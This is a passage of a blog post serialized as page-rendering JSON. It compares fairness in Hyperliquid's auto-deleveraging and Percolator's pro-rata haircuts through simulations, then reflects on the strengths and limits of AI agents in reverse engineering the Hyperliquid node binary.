recovered.",{"type":23,"tag":421,"props":163932,"children":163933},{},[163934,163938,163939,164062,164063,164280,164282,164386,164388,164439,164441,164493],{"type":23,"tag":2913,"props":163935,"children":163936},{},[163937],{"type":28,"value":160587},{"type":28,"value":32904},{"type":23,"tag":37,"props":163940,"children":163942},{"className":163941},[3984,3985],[163943],{"type":23,"tag":41,"props":163944,"children":163946},{"className":163945},[3990],[163947],{"type":23,"tag":41,"props":163948,"children":163950},{"className":163949,"ariaHidden":3996},[3995],[163951,163977],{"type":23,"tag":41,"props":163952,"children":163954},{"className":163953},[4001],[163955,163959,163964,163968,163973],{"type":23,"tag":41,"props":163956,"children":163958},{"className":163957,"style":163484},[4006],[],{"type":23,"tag":41,"props":163960,"children":163962},{"className":163961},[4012],[163963],{"type":28,"value":317},{"type":23,"tag":41,"props":163965,"children":163967},{"className":163966,"style":4093},[4092],[],{"type":23,"tag":41,"props":163969,"children":163971},{"className":163970},[4098],[163972],{"type":28,"value":4072},{"type":23,"tag":41,"props":163974,"children":163976},{"className":163975,"style":4093},[4092],[],{"type":23,"tag":41,"props":163978,"children":163980},{"className":163979},[4001],[163981,163985,163995,164000,164057],{"type":23,"tag":41,"props":163982,"children":163984},{"className":163983,"style":4113},[4006],[],{"type":23,"tag":41,"props":163986,"children":163988},{"className":163987},[4012,28],[163989],{"type":23,"tag":41,"props":163990,"children":163992},{"className":163991},[4012],[163993],{"type":28,"value":163994},"Gini",{"type":23,"tag":41,"props":163996,"children":163998},{"className":163997},[21703],[163999],{"type":28,"value":1737},{"type":23,"tag":41,"props":164001,"children":164003},{"className":164002},[4012],[164004,164009],{"type":23,"tag":41,"props":164005,"children":164007},{"className":164006},[4012,21574],[164008],{"type":28,"value":84339},{"type":23,"tag":41,"props":164010,"children":164012},{"className":164011},[4028],[164013],{"type":23,"tag":41,"props":164014,"children":164016},{"className":164015},[4033,21628],[164017,164046],{"type":23,"tag":41,"props":164018,"children":164020},{"className":164019},[4038],[164021,164041],{"type":23,"tag":41,"props":164022,"children":164024},{"className":164023,"style":93294},[4043],[164025],{"type":23,"tag":41,"props":164026,"children":164027},{"style":92821},[164028,164032],{"type":23,"tag":41,"props":164029,"children":164031},{"className":164030,"style":4053},[4052],[],{"type":23,"tag":41,"props":164033,"children":164035},{"className":164034},[4058,4059,4060,4061],[164036],{"type":23,"tag":41,"props":164037,"children":164039},{"className":164038},[4012,21574,4061],[164040],{"type":28,"value":3737},{"type":23,"tag":41,"props":164042,"children":164044},{"className":164043},[21731],[164045],{"type":28,"value":21734},{"type":23,"tag":41,"props":164047,"children":164049},{"className":164048},[4038],[164050],{"type":23,"tag":41,"props":164051,"children":164053},{"className":164052,"style":92848},[4043],[164054],{"type":23,"tag":41,"props":164055,"children":164056},{},[],{"type":23,"tag":41,"props":164058,"children":164060},{"className":164059},[21725],[164061],{"type":28,"value":2678},{"type":28,"value":7321},{"type":23,"tag":37,"props":164064,"children":164066},{"className":164065},[3984,3985],[164067],{"type":23,"tag":41,"props":164068,"children":164070},{"className":164069},[3990],[164071],{"type":23,"tag":41,"props":164072,"children":164074},{"className":164073,"ariaHidden":3996},[3995],[164075,164153],{"type":23,"tag":41,"props":164076,"children":164078},{"className":164077},[4001],[164079,164083,164140,164144,164149],{"type":23,"tag":41,"props":164080,"children":164082},{"className":164081,"style":142044},[4006],[],{"type":23,"tag":41,"props":164084,"children":164086},{"className":164085},[4012],[164087,164092],{"type":23,"tag":41,"props":164088,"children":164090},{"className":164089},[4012,21574],[164091],{"type":28,"value":84339},{"type":23,"tag":41,"props":164093,"children":164095},{"className":164094},[4028],[164096],{"type":23,"tag":41,"props":164097,"children":164099},{"className":164098},[4033,21628],[164100,164129],{"type":23,"tag":41,"props":164101,"children":164103},{"className":164102},[4038],[164104,164124],{"type":23,"tag":41,"props":164105,"children":164107},{"className":164106,"style":93294},[4043],[164108],{"type":23,"tag":41,"props":164109,"children":164110},{"style":92821},[164111,164115],{"type":23,"tag":41,"props":164112,"children":164114},{"className":164113,"style":4053},[4052],[],{"type":23,"tag":41,"props":164116,"children":164118},{"className":164117},[4058,4059,4060,4061],[164119],{"type":23,"tag":41,"props":164120,"children":164122},{"className":164121},[4012,21574,4061],[164123],{"type":28,"value":3737},{"type":23,"tag":41,"props":164125,"children":164127},{"className":164126},[21731],[164128],{"type":28,"value":21734},{"type":23,"tag":41,"props":164130,"children":164132},{"className":164131},[4038],[164133],{"type":23,"tag":41,"props":164134,"children":164136},{"className":164135,"style":92848},[4043],[164137],{"type":23,"tag":41,"props":164138,"children":164139},{},[],{"type":23,"tag":41,"props":164141,"children":164143},{"className":164142,"style":4190},[4092],[],{"type":23,"tag":41,"props":164145,"children":164147},{"className":164146},[4195],[164148],{"type":28,"value":2381},{"type":23,"tag":41,"props":164150,"children":164152},{"className":164151,"style":4190},[4092],[],{"type":23,"tag":41,"props":164154,"children":164156},{"className":164155},[4001],[164157,164161,164218,164223],{"type":23,"tag":41,"props":164158,"children":164160},{"className":164159,"style":4113},[4006],[],{"type":23,"tag":41,"props":164162,"children":164164},{"className":164163},[4012],[164165,164170],{"type":23,"tag":41,"props":164166,"children":164168},{"className":164167},[4012,21574],[164169],{"type":28,"value":19263},{"type":23,"tag":41,"props":164171,"children":164173},{"className":164172},[4028],[164174],{"type":23,"tag":41,"props":164175,"children":164177},{"className":164176},[4033,21628],[164178,164207],{"type":23,"tag":41,"props":164179,"children":164181},{"className":164180},[4038],[164182,164202],{"type":23,"tag":41,"props":164183,"children":164185},{"className":164184,"style":93294},[4043],[164186],{"type":23,"tag":41,"props":164187,"children":164188},{"style":92821},[164189,164193],{"type":23,"tag":41,"props":164190,"children":164192},{"className":164191,"style":4053},[4052],[],{"type":23,"tag":41,"props":164194,"children":164196},{"className":164195},[4058,4059,4060,4061],[164197],{"type":23,"tag":41,"props":164198,"children":164200},{"className":164199},[4012,21574,4061],[164201],{"type":28,"value":3737},{"type":23,"tag":41,"props":164203,"children":164205},{"className":164204},[21731],[164206],{"type":28,"value":21734},{"type":23,"tag":41,"props":164208,"children":164210},{"className":164209},[4038],[164211],{"type":23,"tag":41,"props":164212,"children":164214},{"className":164213,"style":92848},[4043],[164215],{"type":23,"tag":41,"props":164216,"children":164217},{},[],{"type":23,"tag":41,"props":164219,"children":164221},{"className":164220},[4012],[164222],{"type":28,"value":4579},{"type":23,"tag":41,"props":164224,"children":164226},{"className":164225},[4012],[164227,164232],{"type":23,"tag":41,"props":164228,"children":164230},{"className":164229,"style":122045},[4012,21574],[164231],{"type":28,"value":49566},{"type":23,"tag":41,"props":164233,"children":164235},{"className":164234},[4028],[164236],{"type":23,"tag":41,"props":164237,"children":164239},{"className":164238},[4033,21628],[164240,164269],{"type":23,"tag":41,"props":164241,"children":164243},{"className":164242},[4038],[164244,164264],{"type":23,"tag":41,"props":164245,"children":164247},{"className":164246,"style":93294},[4043],[164248],{"type":23,"tag":41,"props":164249,"children":164250},{"style":160993},[164251,164255],{"type":23,"tag":41,"props":164252,"children":164254},{"className":164253,"style":4053},[4052],[],{"type":23,"tag":41,"props":164256,"children":164258},{"className":164257},[4058,4059,4060,4061],[164259],{"type":23,"tag":41,"props":164260,"children":164262},{"className":164261},[4012,21574,4061],[164263],{"type":28,"value":3737},{"type":23,"tag":41,"props":164265,"children":164267},{"className":164266},[21731],[164268],{"type":28,"value":21734},{"type":23,"tag":41,"props":164270,"children":164272},{"className":164271},[4038],[164273],{"type":23,"tag":41,"props":164274,"children":164276},{"className":164275,"style":92848},[4043],[164277],{"type":23,"tag":41,"props":164278,"children":164279},{},[],{"type":28,"value":164281}," for each winner with ",{"type":23,"tag":37,"props":164283,"children":164285},{"className":164284},[3984,3985],[164286],{"type":23,"tag":41,"props":164287,"children":164289},{"className":164288},[3990],[164290],{"type":23,"tag":41,"props":164291,"children":164293},{"className":164292,"ariaHidden":3996},[3995],[164294,164373],{"type":23,"tag":41,"props":164295,"children":164297},{"className":164296},[4001],[164298,164303,164360,164364,164369],{"type":23,"tag":41,"props":164299,"children":164302},{"className":164300,"style":164301},[4006],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":164304,"children":164306},{"className":164305},[4012],[164307,164312],{"type":23,"tag":41,"props":164308,"children":164310},{"className":164309,"style":122045},[4012,21574],[164311],{"type":28,"value":49566},{"type":23,"tag":41,"props":164313,"children":164315},{"className":164314},[4028],[164316],{"type":23,"tag":41,"props":164317,"children":164319},{"className":164318},[4033,21628],[164320,164349],{"type":23,"tag":41,"props":164321,"children":164323},{"className":164322},[4038],[164324,164344],{"type":23,"tag":41,"props":164325,"children":164327},{"className":164326,"style":93294},[4043],[164328],{"type":23,"tag":41,"props":164329,"children":164330},{"style":160993},[164331,164335],{"type":23,"tag":41,"props":164332,"children":164334},{"className":164333,"style":4053},[4052],[],{"type":23,"tag":41,"props":164336,"children":164338},{"className":164337},[4058,4059,4060,4061],[164339],{"type":23,"tag":41,"props":164340,"children":164342},{"className":164341},[4012,21574,4061],[164343],{"type":28,"value":3737},{"type":23,"tag":41,"props":164345,"children":164347},{"className":164346},[21731],[164348],{"type":28,"value":21734},{"type":23,"tag":41,"props":164350,"children":164352},{"className":164351},[4038],[164353],{"type":23,"tag":41,"props":164354,"children":164356},{"className":164355,"style":92848},[4043],[164357],{"type":23,"tag":41,"props":164358,"children":164359},{},[],{"type":23,"tag":41,"props":164361,"children":164363},{"className":164362,"style":4190},[4092],[],{"type":23,"tag":41,"props":164365,"children":164367},{"className":164366},[4195],[164368],{"type":28,"value":1022},{"type":23,"tag":41,"props":164370,"children":164372},{"className":164371,"style":4190},[4092],[],{"type":23,"tag":41,"props":164374,"children":164376},{"className":164375},[4001],[164377,164381],{"type":23,"tag":41,"props":164378,"children":164380},{"className":164379,"style":93796},[4006],[],{"type":23,"tag":41,"props":164382,"children":164384},{"className":164383},[4012],[164385],{"type":28,"value":4024},{"type":28,"value":164387}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":37,"props":164389,"children":164391},{"className":164390},[3984,3985],[164392],{"type":23,"tag":41,"props":164393,"children":164395},{"className":164394},[3990],[164396],{"type":23,"tag":41,"props":164397,"children":164399},{"className":164398,"ariaHidden":3996},[3995],[164400,164426],{"type":23,"tag":41,"props":164401,"children":164403},{"className":164402},[4001],[164404,164408,164413,164417,164422],{"type":23,"tag":41,"props":164405,"children":164407},{"className":164406,"style":21569},[4006],[],{"type":23,"tag":41,"props":164409,"children":164411},{"className":164410,"style":21575},[4012,21574],[164412],{"type":28,"value":121543},{"type":23,"tag":41,"props":164414,"children":164416},{"className":164415,"style":4190},[4092],[],{"type":23,"tag":41,"props":164418,"children":164420},{"className":164419},[4195],[164421],{"type":28,"value":2381},{"type":23,"tag":41,"props":164423,"children":164425},{"className":164424,"style":4190},[4092],[],{"type":23,"tag":41,"props":164427,"children":164429},{"className":164428},[4001],[164430,164434],{"type":23,"tag":41,"props":164431,"children":164433},{"className":164432,"style":93796},[4006],[],{"type":23,"tag":41,"props":164435,"children":164437},{"className":164436},[4012],[164438],{"type":28,"value":317},{"type":28,"value":164440}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":37,"props":164442,"children":164444},{"className":164443},[3984,3985],[164445],{"type":23,"tag":41,"props":164446,"children":164448},{"className":164447},[3990],[164449],{"type":23,"tag":41,"props":164450,"children":164452},{"className":164451,"ariaHidden":3996},[3995],[164453,164480],{"type":23,"tag":41,"props":164454,"children":164456},{"className":164455},[4001],[164457,164461,164466,164470,164476],{"type":23,"tag":41,"props":164458,"children":164460},{"className":164459,"style":21569},[4006],[],{"type":23,"tag":41,"props":164462,"children":164464},{"className":164463,"style":21575},[4012,21574],[164465],{"type":28,"value":121543},{"type":23,"tag":41,"props":164467,"children":164469},{"className":164468,"style":4190},[4092],[],{"type":23,"tag":41,"props":164471,"children":164473},{"className":164472},[4195],[164474],{"type":28,"value":164475},"≈",{"type":23,"tag":41,"props":164477,"children":164479},{"className":164478,"style":4190},[4092],[],{"type":23,"tag":41,"props":164481,"children":164483},{"className":164482},[4001],[164484,164488],{"type":23,"tag":41,"props":164485,"children":164487},{"className":164486,"style":93796},[4006],[],{"type":23,"tag":41,"props":164489,"children":164491},{"className":164490},[4012],[164492],{"type":28,"value":4024},{"type":28,"value":164494}," means a few get wiped while most are untouched.",{"type":23,"tag":421,"props":164496,"children":164497},{},[164498,164502,164503,164661,164663,164757,164759],{"type":23,"tag":2913,"props":164499,"children":164500},{},[164501],{"type":28,"value":160597},{"type":28,"value":32904},{"type":23,"tag":37,"props":164504,"children":164506},{"className":164505},[3984,3985],[164507],{"type":23,"tag":41,"props":164508,"children":164510},{"className":164509},[3990],[164511],{"type":23,"tag":41,"props":164512,"children":164514},{"className":164513,"ariaHidden":3996},[3995],[164515],{"type":23,"tag":41,"props":164516,"children":164518},{"className":164517},[4001],[164519,164524,164599,164604],{"type":23,"tag":41,"props":164520,"children":164523},{"className":164521,"style":164522},[4006],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":41,"props":164525,"children":164527},{"className":164526},[4012],[164528,164533],{"type":23,"tag":41,"props":164529,"children":164531},{"className":164530,"style":94773},[4012,21574],[164532],{"type":28,"value":161322},{"type":23,"tag":41,"props":164534,"children":164536},{"className":164535},[4028],[164537],{"type":23,"tag":41,"props":164538,"children":164540},{"className":164539},[4033,21628],[164541,164587],{"type":23,"tag":41,"props":164542,"children":164544},{"className":164543},[4038],[164545,164582],{"type":23,"tag":41,"props":164546,"children":164548},{"className":164547,"style":108482},[4043],[164549,164566],{"type":23,"tag":41,"props":164550,"children":164552},{"style":164551},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164553,164557],{"type":23,"tag":41,"props":164554,"children":164556},{"className":164555,"style":4053},[4052],[],{"type":23,"tag":41,"props":164558,"children":164560},{"className":164559},[4058,4059,4060,4061],[164561],{"type":23,"tag":41,"props":164562,"children":164564},{"className":164563,"style":21575},[4012,21574,4061],[164565],{"type":28,"value":1634},{"type":23,"tag":41,"props":164567,"children":164568},{"style":4047},[164569,164573],{"type":23,"tag":41,"props":164570,"children":164572},{"className":164571,"style":4053},[4052],[],{"type":23,"tag":41,"props":164574,"children":164576},{"className":164575},[4058,4059,4060,4061],[164577],{"type":23,"tag":41,"props":164578,"children":164580},{"className":164579,"style":93251},[4012,21574,4061],[164581],{"type":28,"value":160836},{"type":23,"tag":41,"props":164583,"children":164585},{"className":164584},[21731],[164586],{"type":28,"value":21734},{"type":23,"tag":41,"props":164588,"children":164590},{"className":164589},[4038],[164591],{"type":23,"tag":41,"props":164592,"children":164595},{"className":164593,"style":164594},[4043],"height:0.2753em;",[164596],{"type":23,"tag":41,"props":164597,"children":164598},{},[],{"type":23,"tag":41,"props":164600,"children":164602},{"className":164601},[4012],[164603],{"type":28,"value":4579},{"type":23,"tag":41,"props":164605,"children":164607},{"className":164606},[4012],[164608,164613],{"type":23,"tag":41,"props":164609,"children":164611},{"className":164610,"style":94773},[4012,21574],[164612],{"type":28,"value":161322},{"type":23,"tag":41,"props":164614,"children":164616},{"className":164615},[4028],[164617],{"type":23,"tag":41,"props":164618,"children":164620},{"className":164619},[4033,21628],[164621,164650],{"type":23,"tag":41,"props":164622,"children":164624},{"className":164623},[4038],[164625,164645],{"type":23,"tag":41,"props":164626,"children":164628},{"className":164627,"style":142320},[4043],[164629],{"type":23,"tag":41,"props":164630,"children":164631},{"style":161341},[164632,164636],{"type":23,"tag":41,"props":164633,"children":164635},{"className":164634,"style":4053},[4052],[],{"type":23,"tag":41,"props":164637,"children":164639},{"className":164638},[4058,4059,4060,4061],[164640],{"type":23,"tag":41,"props":164641,"children":164643},{"className":164642,"style":21575},[4012,21574,4061],[164644],{"type":28,"value":1634},{"type":23,"tag":41,"props":164646,"children":164648},{"className":164647},[21731],[164649],{"type":28,"value":21734},{"type":23,"tag":41,"props":164651,"children":164653},{"className":164652},[4038],[164654],{"type":23,"tag":41,"props":164655,"children":164657},{"className":164656,"style":92848},[4043],[164658],{"type":23,"tag":41,"props":164659,"children":164660},{},[],{"type":28,"value":164662}," — ",{"type":23,"tag":37,"props":164664,"children":164666},{"className":164665},[3984,3985],[164667],{"type":23,"tag":41,"props":164668,"children":164670},{"className":164669},[3990],[164671],{"type":23,"tag":41,"props":164672,"children":164674},{"className":164673,"ariaHidden":3996},[3995],[164675],{"type":23,"tag":41,"props":164676,"children":164678},{"className":164677},[4001],[164679,164684],{"type":23,"tag":41,"props":164680,"children":164683},{"className":164681,"style":164682},[4006],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":41,"props":164685,"children":164687},{"className":164686},[4012],[164688,164693],{"type":23,"tag":41,"props":164689,"children":164691},{"className":164690,"style":94773},[4012,21574],[164692],{"type":28,"value":161322},{"type":23,"tag":41,"props":164694,"children":164696},{"className":164695},[4028],[164697],{"type":23,"tag":41,"props":164698,"children":164700},{"className":164699},[4033,21628],[164701,164746],{"type":23,"tag":41,"props":164702,"children":164704},{"className":164703},[4038],[164705,164741],{"type":23,"tag":41,"props":164706,"children":164708},{"className":164707,"style":108482},[4043],[164709,164725],{"type":23,"tag":41,"props":164710,"children":164711},{"style":164551},[164712,164716],{"type":23,"tag":41,"props":164713,"children":164715},{"className":164714,"style":4053},[4052],[],{"type":23,"tag":41,"props":164717,"children":164719},{"className":164718},[4058,4059,4060,4061],[164720],{"type":23,"tag":41,"props":164721,"children":164723},{"className":164722,"style":21575},[4012,21574,4061],[164724],{"type":28,"value":1634},{"type":23,"tag":41,"props":164726,"children":164727},{"style":4047},[164728,164732],{"type":23,"tag":41,"props":164729,"children":164731},{"className":164730,"style":4053},[4052],[],{"type":23,"tag":41,"props":164733,"children":164735},{"className":164734},[4058,4059,4060,4061],[164736],{"type":23,"tag":41,"props":164737,"children":164739},{"className":164738,"style":93251},[4012,21574,4061],[164740],{"type":28,"value":160836},{"type":23,"tag":41,"props":164742,"children":164744},{"className":164743},[21731],[164745],{"type":28,"value":21734},{"type":23,"tag":41,"props":164747,"children":164749},{"className":164748},[4038],[164750],{"type":23,"tag":41,"props":164751,"children":164753},{"className":164752,"style":164594},[4043],[164754],{"type":23,"tag":41,"props":164755,"children":164756},{},[],{"type":28,"value":164758}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":37,"props":164760,"children":164762},{"className":164761},[3984,3985],[164763],{"type":23,"tag":41,"props":164764,"children":164766},{"className":164765},[3990],[164767],{"type":23,"tag":41,"props":164768,"children":164770},{"className":164769,"ariaHidden":3996},[3995],[164771],{"type":23,"tag":41,"props":164772,"children":164774},{"className":164773},[4001],[164775,164779],{"type":23,"tag":41,"props":164776,"children":164778},{"className":164777,"style":110606},[4006],[],{"type":23,"tag":41,"props":164780,"children":164782},{"className":164781,"style":93251},[4012,21574],[164783],{"type":28,"value":160836},{"type":23,"tag":24,"props":164785,"children":164786},{},[164787],{"type":28,"value":164788},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":164790,"props":164791,"children":164793},"git-hub-repo-link",{"url":164792},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":164795,"children":164796},{},[164797,164799,164804],{"type":28,"value":164798},"Given a fixed ",{"type":23,"tag":2913,"props":164800,"children":164801},{},[164802],{"type":28,"value":164803},"a priori",{"type":28,"value":164805}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":164807,"children":164808},{},[164809,164811,164816,164818,164895],{"type":28,"value":164810},"One prediction that we can make is that Percolator is ",{"type":23,"tag":2913,"props":164812,"children":164813},{},[164814],{"type":28,"value":164815},"perfectly fair",{"type":28,"value":164817}," according to this scoring: the ",{"type":23,"tag":37,"props":164819,"children":164821},{"className":164820},[3984,3985],[164822],{"type":23,"tag":41,"props":164823,"children":164825},{"className":164824},[3990],[164826],{"type":23,"tag":41,"props":164827,"children":164829},{"className":164828,"ariaHidden":3996},[3995],[164830],{"type":23,"tag":41,"props":164831,"children":164833},{"className":164832},[4001],[164834,164838],{"type":23,"tag":41,"props":164835,"children":164837},{"className":164836,"style":142044},[4006],[],{"type":23,"tag":41,"props":164839,"children":164841},{"className":164840},[4012],[164842,164847],{"type":23,"tag":41,"props":164843,"children":164845},{"className":164844},[4012,21574],[164846],{"type":28,"value":84339},{"type":23,"tag":41,"props":164848,"children":164850},{"className":164849},[4028],[164851],{"type":23,"tag":41,"props":164852,"children":164854},{"className":164853},[4033,21628],[164855,164884],{"type":23,"tag":41,"props":164856,"children":164858},{"className":164857},[4038],[164859,164879],{"type":23,"tag":41,"props":164860,"children":164862},{"className":164861,"style":93294},[4043],[164863],{"type":23,"tag":41,"props":164864,"children":164865},{"style":92821},[164866,164870],{"type":23,"tag":41,"props":164867,"children":164869},{"className":164868,"style":4053},[4052],[],{"type":23,"tag":41,"props":164871,"children":164873},{"className":164872},[4058,4059,4060,4061],[164874],{"type":23,"tag":41,"props":164875,"children":164877},{"className":164876},[4012,21574,4061],[164878],{"type":28,"value":3737},{"type":23,"tag":41,"props":164880,"children":164882},{"className":164881},[21731],[164883],{"type":28,"value":21734},{"type":23,"tag":41,"props":164885,"children":164887},{"className":164886},[4038],[164888],{"type":23,"tag":41,"props":164889,"children":164891},{"className":164890,"style":92848},[4043],[164892],{"type":23,"tag":41,"props":164893,"children":164894},{},[],{"type":28,"value":164896}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":164898,"children":164899},{},[164900,164902,164907],{"type":28,"value":164901},"We are ignoring the ",{"type":23,"tag":2913,"props":164903,"children":164904},{},[164905],{"type":28,"value":164906},"a posteriori",{"type":28,"value":164908}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":164910,"children":164911},{},[164912],{"type":28,"value":164913},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":446,"props":164915,"children":164917},{"id":164916},"simulations",[164918],{"type":28,"value":164919},"Simulations",{"type":23,"tag":24,"props":164921,"children":164922},{},[164923],{"type":28,"value":164924},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":164926,"children":164927},{},[164928],{"type":23,"tag":3918,"props":164929,"children":164932},{"alt":164930,"src":164931},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":164934,"children":164935},{},[164936],{"type":28,"value":164937},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":164939,"children":164940},{},[164941],{"type":23,"tag":3918,"props":164942,"children":164945},{"alt":164943,"src":164944},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":546,"props":164947,"children":164949},{"id":164948},"percolator-is-more-optimistic",[164950],{"type":28,"value":164951},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":164953,"children":164954},{},[164955,164957,164962,164964,164969,164971,164977,164979,164984],{"type":28,"value":164956},"The key difference is what happens to positions. ADL ",{"type":23,"tag":2913,"props":164958,"children":164959},{},[164960],{"type":28,"value":164961},"permanently closes",{"type":28,"value":164963}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":2913,"props":164965,"children":164966},{},[164967],{"type":28,"value":164968},"withdraw",{"type":28,"value":164970},", but the position stays open. If conditions improve, ",{"type":23,"tag":37,"props":164972,"children":164974},{"className":164973},[],[164975],{"type":28,"value":164976},"Residual",{"type":28,"value":164978}," goes up, ",{"type":23,"tag":37,"props":164980,"children":164982},{"className":164981},[],[164983],{"type":28,"value":84339},{"type":28,"value":164985}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":164987,"children":164988},{},[164989,164991,164995],{"type":28,"value":164990},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":2913,"props":164992,"children":164993},{},[164994],{"type":28,"value":20175},{"type":28,"value":164996}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":164998,"children":164999},{},[165000],{"type":23,"tag":3918,"props":165001,"children":165004},{"alt":165002,"src":165003},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":446,"props":165006,"children":165008},{"id":165007},"some-points-to-be-made",[165009],{"type":28,"value":165010},"Some Points to Be Made",{"type":23,"tag":546,"props":165012,"children":165014},{"id":165013},"percolator-is-indifferent-to-leverage",[165015],{"type":28,"value":165016},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":165018,"children":165019},{},[165020],{"type":28,"value":165021},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":165023,"children":165024},{},[165025],{"type":23,"tag":3918,"props":165026,"children":165029},{"alt":165027,"src":165028},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":546,"props":165031,"children":165033},{"id":165032},"fairness",[165034],{"type":28,"value":160587},{"type":23,"tag":24,"props":165036,"children":165037},{},[165038],{"type":28,"value":165039},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":165041,"children":165042},{},[165043],{"type":23,"tag":3918,"props":165044,"children":165047},{"alt":165045,"src":165046},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":165049,"children":165050},{},[165051,165053,165058],{"type":28,"value":165052},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":37,"props":165054,"children":165056},{"className":165055},[],[165057],{"type":28,"value":159089},{"type":28,"value":165059}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":446,"props":165061,"children":165063},{"id":165062},"strengths-and-limitations-of-agents-for-reverse-engineering",[165064],{"type":28,"value":165065},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":165067,"children":165068},{},[165069],{"type":28,"value":165070},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":546,"props":165072,"children":165074},{"id":165073},"hooks",[165075],{"type":28,"value":165076},"Hooks",{"type":23,"tag":24,"props":165078,"children":165079},{},[165080,165082,165086],{"type":28,"value":165081},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":2913,"props":165083,"children":165084},{},[165085],{"type":28,"value":165073},{"type":28,"value":165087},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":165089,"children":165090},{},[165091],{"type":28,"value":165092},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":546,"props":165094,"children":165096},{"id":165095},"scale",[165097],{"type":28,"value":165098},"Scale",{"type":23,"tag":24,"props":165100,"children":165101},{},[165102],{"type":28,"value":165103},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":165105,"children":165106},{},[165107],{"type":28,"value":165108},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":546,"props":165110,"children":165112},{"id":165111},"whats-next",[165113],{"type":28,"value":165114},"What's next?",{"type":23,"tag":24,"props":165116,"children":165117},{},[165118],{"type":28,"value":165119},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":164790,"props":165121,"children":165122},{"url":158750},[],{"type":23,"tag":24,"props":165124,"children":165125},{},[165126],{"type":28,"value":165127},"The analyzed binary can be found here:",{"type":23,"tag":159070,"props":165129,"children":165132},{"path":165130,"name":158674,"size":165131},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":546,"props":165134,"children":165136},{"id":165135},"closing-words",[165137],{"type":28,"value":165138},"Closing Words",{"type":23,"tag":24,"props":165140,"children":165141},{},[165142],{"type":28,"value":165143},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":165145,"children":165146},{},[165147,165149,165154],{"type":28,"value":165148},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":2913,"props":165150,"children":165151},{},[165152],{"type":28,"value":165153},"manual",{"type":28,"value":165155}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the 